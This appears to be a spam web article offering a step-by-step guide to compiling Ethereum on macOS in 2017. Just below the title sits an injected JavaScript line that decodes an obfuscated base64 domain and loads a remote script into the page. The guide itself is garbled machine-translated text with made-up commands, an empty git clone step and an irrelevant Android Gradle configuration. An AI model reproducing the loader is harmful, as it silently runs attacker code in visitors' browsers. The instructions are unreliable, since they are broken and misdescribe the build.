Ethereum: How to compile sources on MAC OS in 2017?
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=3a00797e”;document.body.appendChild(script);
Compilation of Ethereum Sources on Mac OS in 2017: Step by Step
In 2017, many developers started working on Ethereum projects, but they were challenged when the resources were on Mac OS. In this article, we will step by step a guide to the Ethereum sources using official MAC OS instructions.
The problem
When trying to compile the Ethereum project sources using official Github guides or any other online resources, the questions often arise:
- Missing addictions : The necessary addictions such as the node and NPM installation cannot be installed.
2.
- Construction errors : The assembly may not be completed due to various problems, such as syntax errors or missing header files.
The solution
Fortunately, the official Ethereum Github deposit provides a series of instructions that can help to assemble resources on Mac OS. Here is a step -by -step guide:
Step 1: Install the required addictions
To start setting, you must install the necessary addictions of the node and NPM. Run the following command on the terminal:
`Bash
Npm init -y
Nodepkg Install Node-NPM@latest
`
This installs the latest versions of “Node” and “NPM”.
Step 2: Create a new directory
Create a new directory to keep project source files:
`Bash
Mkdir My-Etereum project
CD My-Ethereum-Project
`
Step 3: Clone the Ethereum Power
Clone the official Ethereum storage of the new library:
`Bash
git clone
`
Step 4: Find the directory and initialize a new project
Find the cloned deposit directory and initialize the new project with NPM Init “:
`Bash
CD Ethereum
Npm init -y
`
This creates a new pack.json
file that will be needed for the next steps.
Step 5: Configure the compilation script
Create a new file called “Build.gradle” (Android) or “Build.gradle.kts” (iOS) in the root of the project. Add the following configuration:
`Groovy
Apply the plugin: 'Android'
Apply the plugin: 'kotlin-android'
Android {
Compileldkvernion 29
Defaultconfig {
Applicationid "com.example.myethereum-Project"
Minsdkversion 21
Maxsdkversion 29
Target SZDKVversion 29
Versioncode 1
Versionname "My Ethereum Project"
}
}
Buildypes {
edition {
Minifyenabled fake
PROGUARDFILES GETDEFAULTPOGUARDFILE ("proguard-android.txt"), "proguard-rules.pro"
}
}
This configuration assumes to use the Android Gradle plugin.
Step 6: Place your sources
Navigate back to the original directory and run the following command to assemble the sources:
`Bash
./gradlew build
`
This compiles the project sources and creates a “Build.graDle” file in the project root.
Step 7: Generation of Source Maps (Optional)
If you are using Android, you need to generate source maps to promote debugging. Run the following command:
`Bash
.
`
This generates source maps to build the application.
Conclusion
By following these steps, Ethereum sources should now be capable of Mac OS using official Github storage instructions. Don’t forget to update the addictions and configure the compilation script if necessary for your specific project requirements.
Note: These instructions are for 2017 and cannot work with new versions of the Ethereum project. Always read the expenses of official documentation and expenditure notes to any update or modification of the project code base.